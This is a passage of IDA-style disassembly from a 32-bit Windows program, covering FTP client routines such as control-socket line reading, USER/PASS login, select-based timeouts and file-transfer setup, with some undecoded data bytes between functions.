		test	ecx, ecx
		jnz	short loc_42DAE3
		add	eax, 44h
		retn
; ---------------------------------------------------------------------------


loc_42DAE3:				; CODE XREF: ___:0042DAD6j
					; ___:0042DADDj
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42DB00	proc near		; CODE XREF: sub_401A7Dj

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_12		= word ptr  16h

		sub	esp, 14h
		mov	ecx, [esp+14h+arg_0]
		xor	eax, eax
		mov	[esp+14h+var_10], eax
		push	ebx
		push	ebp
		mov	[esp+1Ch+var_C], eax
		push	esi
		push	edi
		mov	[esp+24h+var_8], eax
		push	ecx
		mov	[esp+28h+var_14], 1
		mov	[esp+28h+var_4], eax
		mov	word ptr [esp+28h+var_10], 2
		nop
		call	near ptr 77C46125h
		mov	ebp, eax
		push	3Ah
		push	ebp
		call	near ptr 77C47660h
		nop
		mov	esi, eax
		xor	ebx, ebx
		add	esp, 0Ch
		cmp	esi, ebx
		jnz	short loc_42DB74
		push	offset aTcp	; "tcp"
		push	offset aFtp	; "ftp"
		call	sub_43828C
; ---------------------------------------------------------------------------
		dd 6C75C33Bh, 44742468h, 8BE89000h, 83778092h, 0C03304C4h
		dd 5B5D5E5Fh, 0C314C483h
; ---------------------------------------------------------------------------


loc_42DB74:				; CODE XREF: sub_42DB00+47j
		mov	[esi], bl
		mov	eax, dword_511A7C
		inc	esi
		cmp	dword ptr [eax], 1
		jle	short loc_42DB92
		movsx	ecx, byte ptr [esi]
		push	4
		push	ecx
		nop
		call	near ptr 77C1C561h
		add	esp, 8
		jmp	short loc_42DBA2
; ---------------------------------------------------------------------------


loc_42DB92:				; CODE XREF: sub_42DB00+7Fj
		mov	eax, dword_511B1C
		movsx	edx, byte ptr [esi]
		mov	ecx, [eax]
		mov	al, [ecx+edx*2]
		and	eax, 4


loc_42DBA2:				; CODE XREF: sub_42DB00+90j
		cmp	eax, ebx
		jz	short loc_42DBBD
		push	esi
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		push	eax
		call	sub_43822C
; ---------------------------------------------------------------------------
		mov	[esp+arg_12], ax
		jmp	short sub_42DBD1
; ---------------------------------------------------------------------------


loc_42DBBD:				; CODE XREF: sub_42DB00+A4j
		push	offset aTcp	; "tcp"
		push	esi
		call	sub_43828C
sub_42DB00	endp

; ---------------------------------------------------------------------------
		mov	dx, [eax+8]
		mov	[esp+16h], dx

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42DBD1	proc near		; CODE XREF: sub_42DB00+BBj
		push	ebp
		call	sub_4381EA
sub_42DBD1	endp

; ---------------------------------------------------------------------------
		cmp	eax, 0FFFFFFFFh
		mov	[esp+18h], eax
		jnz	short loc_42DC1D
		push	ebp
		call	sub_4381DE
; ---------------------------------------------------------------------------
		dw 0C33Bh
		dd 14681875h, 90004474h, 8091FDE8h, 4C48377h, 5E5FC033h
		dd 0C4835B5Dh, 0BF0FC314h, 408B0A48h, 8DD18B0Ch, 8B18247Ch
		dd 2E9C130h, 0CA8BA5F3h, 0F303E183h
; ---------------------------------------------------------------------------
		movsb


loc_42DC1D:				; CODE XREF: ___:0042DBDEj
		push	ebp
		mov	ebp, dword_511AD0
		call	ebp	; free
		add	esp, 4
		push	6
		push	1
		push	2
		call	sub_438232
; ---------------------------------------------------------------------------
		dd 0FF83F88Bh, 681875FFh, 44740Ch, 91ACE890h, 0C4837780h
		dd 5FC03304h, 835B5D5Eh, 8DC314C4h, 6A102444h, 46A5004h
		dd 0FFFF68h, 13E85700h,	830000A6h, 775FFF8h, 4473FC68h
		dd 8D34EB00h, 6A14244Ch, 0E8575110h, 0A5B8h, 75FFF883h
		dd 71FC6807h, 1BEB0044h, 14468h, 90016A00h, 7FE42AE8h
		dd 83F08B77h, 0F33B08C4h, 0F4681E75h, 0E8004473h, 77809146h
		dd 4C48390h, 0A546E857h, 5E5F0000h, 5BC0335Dh, 0C314C483h
		dd 200068h, 0E73DE800h,	8390777Fh, 0C33B04C4h, 75144689h
		dd 73F46824h, 0E8900044h, 77809112h, 5704C483h,	0A513E8h
		dd 0D5FF5600h, 3304C483h, 5D5E5FC0h, 14C4835Bh,	326A56C3h
		dd 89087E89h, 5E89185Eh, 2446C71Ch, 1, 89305E89h, 5E892C5Eh
		dd 345E8928h, 89385E89h, 5E89405Eh, 0DAE83Ch, 0C4830000h
		dd 75C08508h, 0C9E8571Ch, 8B0000A4h, 0FF521456h, 0D5FF56D5h
		dd 3308C483h, 5D5E5FC0h, 14C4835Bh, 24448BC3h, 30895F2Ch
		dd 1B85D5Eh, 5B000000h,	0C314C483h, 90909090h, 28h dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_42DE00	proc near		; CODE XREF: ___:0042E556p
					; sub_42F2C0+70p

var_8		= byte ptr -8
var_5		= byte ptr -5
var_4		= byte ptr -4
arg_0		= byte ptr  4
arg_4		= dword	ptr  8

		sub	esp, 8
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+18h+arg_4]
		push	edi
		push	100h
		lea	esi, [edi+44h]
		push	esi
		call	sub_42DF40
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_42DE3A


loc_42DE22:				; CODE XREF: sub_42DE00+8Ej
					; sub_42DE00+D9j
		push	offset aControlSocketR ; "Control socket read failed"
		call	near ptr 77C36DF2h
		nop
		add	esp, 4
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_42DE3A:				; CODE XREF: sub_42DE00+20j
		mov	eax, dword_5103A8
		mov	ebx, dword_511A8C
		cmp	eax, 1
		jle	short loc_42DE5E
		mov	eax, dword_511A90
		push	esi
		add	eax, 40h
		push	offset aS	; "%s"
		push	eax
		call	ebx	; fprintf
		add	esp, 0Ch


loc_42DE5E:				; CODE XREF: sub_42DE00+48j
		cmp	byte ptr [edi+47h], 2Dh
		jnz	short loc_42DEDE
		push	3
		lea	ecx, [esp+1Ch+var_8]
		push	esi
		push	ecx
		nop
		call	near ptr 77C47A90h
		push	edi
		push	100h
		push	esi
		mov	[esp+30h+var_5], 20h
		mov	[esp+30h+var_4], 0
		call	sub_42DF40
		add	esp, 18h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42DE22
		mov	ebp, dword_511AE0


loc_42DE96:				; CODE XREF: sub_42DE00+D7j
		cmp	dword_5103A8, 1
		jle	short loc_42DEB4
		mov	edx, dword_511A90
		push	esi
		add	edx, 40h
		push	offset aS	; "%s"
		push	edx
		call	ebx	; fprintf
		add	esp, 0Ch


loc_42DEB4:				; CODE XREF: sub_42DE00+9Dj
		lea	eax, [esp+18h+var_8]
		push	4
		push	eax
		push	esi
		call	ebp	; strncmp
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_42DEDE
		push	edi
		push	100h
		push	esi
		call	sub_42DF40
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_42DE96
		jmp	loc_42DE22
; ---------------------------------------------------------------------------


loc_42DEDE:				; CODE XREF: sub_42DE00+62j
					; sub_42DE00+C3j
		mov	cl, [esi]
		mov	dl, [esp+18h+arg_0]
		xor	eax, eax
		pop	edi
		cmp	cl, dl
		pop	esi
		pop	ebp
		pop	ebx
		setz	al
		add	esp, 8
		retn
sub_42DE00	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42DF40	proc near		; CODE XREF: sub_42DE00+15p
					; sub_42DE00+83p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		sub	esp, 8
		push	ebx
		push	ebp
		mov	ebp, [esp+10h+arg_0]
		push	esi
		mov	esi, [esp+14h+arg_8]
		xor	ecx, ecx
		push	edi
		mov	[esp+18h+var_8], ecx
		mov	eax, [esi+18h]
		mov	[esp+18h+var_4], ecx
		cmp	eax, ecx
		jz	short loc_42DF70
		cmp	eax, 1
		jz	short loc_42DF70
		pop	edi
		pop	esi
		pop	ebp
		or	eax, 0FFFFFFFFh
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_42DF70:				; CODE XREF: sub_42DF40+1Ej
					; sub_42DF40+23j
		mov	ebx, [esp+18h+arg_4]
		cmp	ebx, ecx
		jnz	short loc_42DF82
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_42DF82:				; CODE XREF: sub_42DF40+36j
					; sub_42DF40+115j
		mov	edi, [esi+0Ch]
		test	edi, edi
		jle	short loc_42DFD3
		cmp	ebx, edi
		jge	short loc_42DF90
		lea	edi, [ebx-1]


loc_42DF90:				; CODE XREF: sub_42DF40+4Bj
		mov	eax, [esi+4]
		push	edi
		push	0Ah
		push	eax
		push	ebp
		nop
		call	near ptr 77C46170h
		add	esp, 10h
		test	eax, eax
		jz	short loc_42DFA9
		mov	edi, eax
		sub	edi, ebp


loc_42DFA9:				; CODE XREF: sub_42DF40+63j
		mov	edx, [esp+18h+var_8]
		add	ebp, edi
		add	edx, edi
		sub	ebx, edi
		mov	[esp+18h+var_8], edx
		mov	byte ptr [ebp+0], 0
		mov	ecx, [esi+4]
		mov	edx, [esi+0Ch]
		add	ecx, edi
		sub	edx, edi
		test	eax, eax
		mov	[esi+4], ecx
		mov	[esi+0Ch], edx
		jnz	loc_42E05A


loc_42DFD3:				; CODE XREF: sub_42DF40+47j
		cmp	ebx, 1
		jz	loc_42E0AD
		mov	ecx, [esi]
		mov	eax, [esi+4]
		cmp	ecx, eax
		jnz	short loc_42DFFB
		mov	eax, [esi+14h]
		mov	dword ptr [esi+0Ch], 0
		mov	[esi+4], eax
		mov	[esi], eax
		mov	dword ptr [esi+10h], 2000h


loc_42DFFB:				; CODE XREF: sub_42DF40+A3j
		mov	eax, [esp+18h+var_4]
		test	eax, eax
		jnz	loc_42E0C0
		push	esi
		call	sub_42E170
		add	esp, 4
		test	eax, eax
		jz	loc_42E0F2
		mov	edx, [esi+10h]
		mov	eax, [esi]
		mov	ecx, [esi+8]
		push	0
		push	edx
		push	eax
		push	ecx
		call	sub_4381F0
; ---------------------------------------------------------------------------
		cmp	eax, 0FFFFFFFFh
		jz	loc_42E0DC
		test	eax, eax
		jnz	short loc_42E03F
		mov	[esp+18h+var_4], 1


loc_42E03F:				; CODE XREF: sub_42DF40+F5j
		mov	edi, [esi+10h]
		mov	edx, [esi+0Ch]
		mov	ecx, [esi]
		sub	edi, eax
		add	edx, eax
		add	ecx, eax
		mov	[esi+10h], edi
		mov	[esi+0Ch], edx
		mov	[esi], ecx
		jmp	loc_42DF82
; ---------------------------------------------------------------------------


loc_42E05A:				; CODE XREF: sub_42DF40+8Dj
		sub	ebp, 2
		mov	esi, offset asc_4471EC ; "\r\n"
		mov	eax, ebp


loc_42E064:				; CODE XREF: sub_42DF40+146j
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_42E08C
		test	cl, cl
		jz	short loc_42E088
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_42E08C
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_42E064


loc_42E088:				; CODE XREF: sub_42DF40+130j
		xor	eax, eax
		jmp	short loc_42E091
; ---------------------------------------------------------------------------


loc_42E08C:				; CODE XREF: sub_42DF40+12Cj
					; sub_42DF40+13Cj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_42E091:				; CODE XREF: sub_42DF40+14Aj
		test	eax, eax
		jnz	short loc_42E0F2
		mov	byte ptr [ebp+0], 0Ah
		mov	[ebp+1], al
		mov	eax, [esp+18h+var_8]
		pop	edi
		dec	eax
		pop	esi
		pop	ebp
		mov	[esp+0Ch+var_8], eax
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_42E0AD:				; CODE XREF: sub_42DF40+96j
		mov	eax, [esp+18h+arg_0]
		pop	edi
		pop	esi
		pop	ebp
		mov	byte ptr [eax],	0
		mov	eax, [esp+0Ch+var_8]
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_42E0C0:				; CODE XREF: sub_42DF40+C1j
		mov	eax, [esp+18h+var_8]
		test	eax, eax
		jnz	short loc_42E0F2
		pop	edi
		mov	[esp+14h+var_8], 0FFFFFFFFh
		mov	eax, [esp+14h+var_8]
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_42E0DC:				; CODE XREF: sub_42DF40+EDj
		push	offset aRead	; "read"
		nop
		call	near ptr 77C36DF2h
		add	esp, 4
		mov	[esp+18h+var_8], 0FFFFFFFFh


loc_42E0F2:				; CODE XREF: sub_42DF40+D2j
					; sub_42DF40+153j ...
		mov	eax, [esp+18h+var_8]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 8
		retn
sub_42DF40	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42E170	proc near		; CODE XREF: sub_42DF40+C8p
					; sub_42EF60:loc_42EF8Dp ...

var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
arg_0		= dword	ptr  4

		sub	esp, 10Ch
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+118h+arg_0]
		xor	ebx, ebx
		xor	ebp, ebp
		mov	eax, [esi+18h]
		test	eax, eax
		jz	loc_42E253
		mov	ecx, [esi+30h]
		test	ecx, ecx
		jz	loc_42E253
		cmp	eax, 2
		jnz	short loc_42E1A5
		lea	ebp, [esp+118h+var_104]
		jmp	short loc_42E1A9
; ---------------------------------------------------------------------------


loc_42E1A5:				; CODE XREF: sub_42E170+2Dj
		lea	ebx, [esp+118h+var_104]


loc_42E1A9:				; CODE XREF: sub_42E170+33j
		xor	eax, eax
		push	edi
		mov	[esp+11Ch+var_104], eax


loc_42E1B0:				; CODE XREF: sub_42E170+98j
		cmp	eax, 40h
		jnb	short loc_42E1C5
		mov	ecx, [esi+8]
		mov	[esp+eax*4+11Ch+var_100], ecx
		mov	eax, [esp+11Ch+var_104]
		inc	eax
		mov	[esp+11Ch+var_104], eax


loc_42E1C5:				; CODE XREF: sub_42E170+43j
		mov	edx, [esi+28h]
		mov	eax, [esi+2Ch]
		lea	ecx, [esp+11Ch+var_10C]
		mov	[esp+11Ch+var_10C], edx
		mov	edx, [esi+8]
		push	ecx
		push	0
		push	ebp
		inc	edx
		push	ebx
		push	edx
		mov	[esp+130h+var_108], eax
		call	sub_438208
; ---------------------------------------------------------------------------
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42E20A
		test	eax, eax
		jg	short loc_42E241
		mov	eax, [esi+34h]
		mov	ecx, [esi+38h]
		push	eax
		push	ecx
		push	esi
		call	dword ptr [esi+30h]
		mov	edi, eax
		add	esp, 0Ch
		test	edi, edi
		jz	short loc_42E246
		mov	eax, [esp+11Ch+var_104]
		jmp	short loc_42E1B0
; ---------------------------------------------------------------------------


loc_42E20A:				; CODE XREF: sub_42E170+79j
		push	100h
		xor	edi, edi
		nop
		call	near ptr 77C1F2BCh
		mov	edx, [eax]
		push	edx
		nop
		call	near ptr 77C371FAh
		add	esp, 4
		push	eax
		mov	eax, [esi+1Ch]
		add	eax, 44h
		push	eax
		nop
		call	near ptr 77C47A90h
		add	esp, 0Ch
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_42E241:				; CODE XREF: sub_42E170+7Dj
		mov	edi, 1


loc_42E246:				; CODE XREF: sub_42E170+92j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_42E253:				; CODE XREF: sub_42E170+19j
					; sub_42E170+24j
		pop	esi
		pop	ebp
		mov	eax, 1
		pop	ebx
		add	esp, 10Ch
		retn
sub_42E170	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42E2B0:				; CODE XREF: ___:0040141Aj
		mov	eax, [esp+4]
		xor	ecx, ecx
		dec	eax
		cmp	eax, 4		; switch 5 cases
		ja	loc_42E35F	; default
		jmp	off_42E364[eax*4] ; switch jump


loc_42E2C7:				; DATA XREF: ___:off_42E364o
		mov	eax, [esp+8]	; jumptable 0042E2C0 case 0
		cmp	eax, 1
		jz	short loc_42E2D9
		cmp	eax, 2
		jnz	loc_42E35F	; default


loc_42E2D9:				; CODE XREF: ___:0042E2CEj
		mov	ecx, [esp+0Ch]
		mov	[ecx+24h], eax
		mov	ecx, 1
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_42E2E8:				; CODE XREF: ___:0042E2C0j
					; DATA XREF: ___:off_42E364o
		mov	edx, [esp+0Ch]	; jumptable 0042E2C0 case 1
		mov	eax, [esp+8]
		mov	ecx, 1
		mov	[edx+30h], eax
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_42E2FB:				; CODE XREF: ___:0042E2C0j
					; DATA XREF: ___:off_42E364o
		push	esi		; jumptable 0042E2C0 case 2
		mov	esi, [esp+0Ch]
		mov	eax, 10624DD3h
		push	edi
		imul	esi
		mov	edi, [esp+14h]
		mov	ecx, 1
		sar	edx, 6
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		mov	eax, esi
		mov	[edi+28h], edx
		mov	esi, 3E8h
		cdq
		idiv	esi
		lea	eax, [edx+edx*4]
		lea	eax, [eax+eax*4]
		lea	edx, [eax+eax*4]
		mov	eax, ecx
		shl	edx, 3
		mov	[edi+2Ch], edx
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42E33C:				; CODE XREF: ___:0042E2C0j
					; DATA XREF: ___:off_42E364o
		mov	eax, [esp+0Ch]	; jumptable 0042E2C0 case 3
		mov	edx, [esp+8]
		mov	ecx, 1
		mov	[eax+34h], edx
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_42E34F:				; CODE XREF: ___:0042E2C0j
					; DATA XREF: ___:off_42E364o
		mov	eax, [esp+0Ch]	; jumptable 0042E2C0 case 4
		mov	edx, [esp+8]
		mov	ecx, 1
		mov	[eax+3Ch], edx


loc_42E35F:				; CODE XREF: ___:0042E2BAj
					; ___:0042E2D3j
		mov	eax, ecx	; default
		retn
; ---------------------------------------------------------------------------
		align 4
off_42E364	dd offset loc_42E2C7	; DATA XREF: ___:0042E2C0r
		dd offset loc_42E2E8	; jump table for switch	statement
		dd offset loc_42E2FB
		dd offset loc_42E33C
		dd offset loc_42E34F
		db 8 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42E3C0	proc near		; CODE XREF: sub_402266j

var_40		= byte ptr -40h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		sub	esp, 40h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	ebx
		push	esi
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 6
		cmp	ecx, 40h
		ja	short loc_42E451
		mov	ebx, [esp+4Ch+arg_4]
		or	ecx, 0FFFFFFFFh
		mov	edi, ebx
		repne scasb
		not	ecx
		add	ecx, 6
		cmp	ecx, 40h
		ja	short loc_42E451
		mov	edi, dword_511A6C
		push	edx
		lea	eax, [esp+50h+var_40]
		push	offset aUserS	; "USER	%s"
		push	eax
		call	edi	; sprintf
		mov	esi, [esp+58h+arg_8]
		lea	ecx, [esp+58h+var_40]
		push	esi
		push	33h
		push	ecx
		call	sub_42E490
		add	esp, 18h
		test	eax, eax
		jnz	short loc_42E42D
		mov	cl, [esi+44h]
		pop	edi
		cmp	cl, 32h
		pop	esi
		setz	al
		pop	ebx
		add	esp, 40h
		retn
; ---------------------------------------------------------------------------


loc_42E42D:				; CODE XREF: sub_42E3C0+5Bj
		push	ebx
		lea	edx, [esp+50h+var_40]
		push	offset aPassS	; "PASS	%s"
		push	edx
		call	edi	; sprintf
		push	esi
		lea	eax, [esp+5Ch+var_40]
		push	32h
		push	eax
		call	sub_42E490
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 40h
		retn
; ---------------------------------------------------------------------------


loc_42E451:				; CODE XREF: sub_42E3C0+1Bj
					; sub_42E3C0+30j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		add	esp, 40h
		retn
sub_42E3C0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42E490	proc near		; CODE XREF: sub_42E3C0+51p
					; sub_42E3C0+82p ...

var_100		= byte ptr -100h
arg_0		= dword	ptr  4
arg_8		= dword	ptr  0Ch

		sub	esp, 100h
		push	ebx
		mov	ebx, [esp+104h+arg_8]
		push	esi
		push	edi
		mov	eax, [ebx+18h]
		test	eax, eax
		jz	short loc_42E4B3
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42E4B3:				; CODE XREF: sub_42E490+15j
		mov	eax, dword_5103A8
		mov	esi, [esp+10Ch+arg_0]
		cmp	eax, 2


loc_42E4C2:				; CODE XREF: ___:0042E53Dj
		jle	short loc_42E4DC
		mov	eax, dword_511A90
		push	esi
		add	eax, 40h
		push	offset aS_0	; "%s\n"
		push	eax
		nop
		call	near ptr 77C40E13h
		add	esp, 0Ch


loc_42E4DC:				; CODE XREF: sub_42E490:loc_42E4C2j
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		add	ecx, 2
		cmp	ecx, 100h
		jbe	short loc_42E4FC
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42E4FC:				; CODE XREF: sub_42E490+60j
		push	esi
		lea	ecx, [esp+110h+var_100]
		push	offset aS_3	; "%s\r\n"
		push	ecx
		nop
		call	near ptr 77C3F931h
		lea	edi, [esp+118h+var_100]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 0Ch
		repne scasb
		mov	eax, [ebx+8]
		push	0
		not	ecx
		dec	ecx
		lea	edx, [esp+110h+var_100]
		push	ecx
		push	edx
		push	eax
		call	sub_4381F6
sub_42E490	endp

; ---------------------------------------------------------------------------
		db 85h
; ---------------------------------------------------------------------------
		sar	byte ptr [edi+1Ah], 68h
		js	short near ptr byte_42E5AA
		inc	esp
		add	[eax-7F774B18h], dl
		ja	short loc_42E4C2
		les	eax, [ebx+esi]
		rcr	byte ptr [edi+5Eh], 5Bh
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		mov	ecx, [esp+114h]
		push	ebx
		push	ecx
		call	sub_42DE00
		add	esp, 8
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 3Ah dup(0CCh)
byte_42E5AA	db 6 dup(0CCh)		; CODE XREF: ___:0042E534j

; =============== S U B	R O U T	I N E =======================================



sub_42E5B0	proc near		; CODE XREF: sub_401F73j

var_100		= dword	ptr -100h
var_FC		= byte ptr -0FCh
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h

		sub	esp, 100h
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+10Ch+arg_0]
		push	edi
		mov	edi, [esp+110h+arg_4]
		test	esi, esi
		jnz	short loc_42E5FC
		cmp	edi, 4
		jz	short loc_42E5D6
		cmp	edi, 3
		jnz	short loc_42E5FC


loc_42E5D6:				; CODE XREF: sub_42E5B0+1Fj
		mov	eax, [esp+110h+arg_C]
		push	offset aMissingPathArg ; "Missing path argument	for file transfer"...
		add	eax, 44h
		push	eax
		nop
		call	near ptr 77C3F931h
		add	esp, 8
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42E5FC:				; CODE XREF: sub_42E5B0+1Aj
					; sub_42E5B0+24j
		mov	ecx, [esp+110h+arg_8]
		mov	ebp, dword_511A6C
		push	ecx
		lea	edx, [esp+114h+var_100]
		push	offset dword_4474C0
		push	edx
		call	ebp	; sprintf
		mov	ebx, [esp+11Ch+arg_C]
		lea	eax, [esp+11Ch+var_100]
		push	ebx
		push	32h
		push	eax
		call	sub_42E490
		add	esp, 18h
		test	eax, eax
		jz	loc_42E7BE
		lea	eax, [edi-1]	; switch 4 cases
		cmp	eax, 3
		ja	loc_42E7AF	; default
		jmp	off_42E7CC[eax*4] ; switch jump


loc_42E648:				; DATA XREF: ___:off_42E7CCo
		mov	ecx, dword_4474B8 ; jumptable 0042E641 case 1
		mov	dl, byte_4474BC
		mov	[esp+110h+var_100], ecx
		mov	[esp+110h+var_FC], dl
		mov	ebp, 1
		jmp	short loc_42E6B0
; ---------------------------------------------------------------------------


loc_42E663:				; CODE XREF: sub_42E5B0+91j
					; DATA XREF: ___:off_42E7CCo
		mov	eax, dword_4474B0 ; jumptable 0042E641 case 2
		mov	cl, byte_4474B4
		mov	[esp+110h+var_100], eax
		mov	[esp+110h+var_FC], cl
		mov	ebp, 1
		jmp	short loc_42E6B0
; ---------------------------------------------------------------------------


loc_42E67D:				; CODE XREF: sub_42E5B0+91j
					; DATA XREF: ___:off_42E7CCo
		mov	edx, dword_4474A8 ; jumptable 0042E641 case 3
		mov	al, byte_4474AC
		mov	[esp+110h+var_100], edx
		mov	[esp+110h+var_FC], al
		mov	ebp, 1
		jmp	short loc_42E6B0
; ---------------------------------------------------------------------------


loc_42E697:				; CODE XREF: sub_42E5B0+91j
					; DATA XREF: ___:off_42E7CCo
		mov	ecx, dword_4474A0 ; jumptable 0042E641 case 4
		mov	dl, byte_4474A4
		mov	[esp+110h+var_100], ecx
		mov	[esp+110h+var_FC], dl
		mov	ebp, 2


loc_42E6B0:				; CODE XREF: sub_42E5B0+B1j
					; sub_42E5B0+CBj ...
		test	esi, esi
		jz	short loc_42E703
		lea	edi, [esp+110h+var_100]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		mov	edi, esi
		mov	edx, ecx
		or	ecx, 0FFFFFFFFh
		mov	byte ptr [esp+edx+110h+var_100], 20h
		inc	edx
		repne scasb
		not	ecx
		dec	ecx
		add	ecx, edx
		cmp	ecx, 100h
		jnb	loc_42E7BE
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		sub	edi, ecx
		lea	edx, [esp+edx+110h+var_100]
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb


loc_42E703:				; CODE XREF: sub_42E5B0+102j
		mov	ecx, [esp+110h+arg_8]
		mov	esi, [esp+110h+arg_10]
		push	ebp
		push	ecx
		push	esi
		push	ebx
		call	sub_42E870
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		jz	loc_42E7BE
		push	ebx
		lea	edx, [esp+114h+var_100]
		push	31h
		push	edx
		call	sub_42E490
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_42E758
		mov	eax, [esi]
		push	eax
		call	sub_401BEF
		add	esp, 4
		mov	dword ptr [esi], 0
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42E758:				; CODE XREF: sub_42E5B0+188j
		mov	ecx, [esi]
		mov	[ecx+1Ch], ebx
		mov	eax, [ebx+24h]
		mov	edx, [esi]
		cmp	eax, 2
		mov	[ebx+20h], edx
		jnz	short loc_42E79F
		mov	eax, [esi]
		push	ebx
		push	eax
		call	sub_42ED50
; ---------------------------------------------------------------------------
		add	esp, 8
		test	eax, eax
		jnz	short loc_42E79F
		mov	ecx, [esi]
		push	ecx
		call	sub_401BEF
		add	esp, 4
		mov	dword ptr [esi], 0
		mov	dword ptr [ebx+20h], 0
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42E79F:				; CODE XREF: sub_42E5B0+1B8j
					; sub_42E5B0+1C8j
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 1
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42E7AF:				; CODE XREF: sub_42E5B0+8Bj
		push	edi		; default
		add	ebx, 44h
		push	offset aInvalidOpenTyp ; "Invalid open type %d\n"
		push	ebx
		call	ebp	; sprintf
		add	esp, 0Ch


loc_42E7BE:				; CODE XREF: sub_42E5B0+7Fj
					; sub_42E5B0+12Cj ...
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 100h
		retn
sub_42E5B0	endp

; ---------------------------------------------------------------------------
		align 4
off_42E7CC	dd offset loc_42E648	; DATA XREF: sub_42E5B0+91r
		dd offset loc_42E663	; jump table for switch	statement
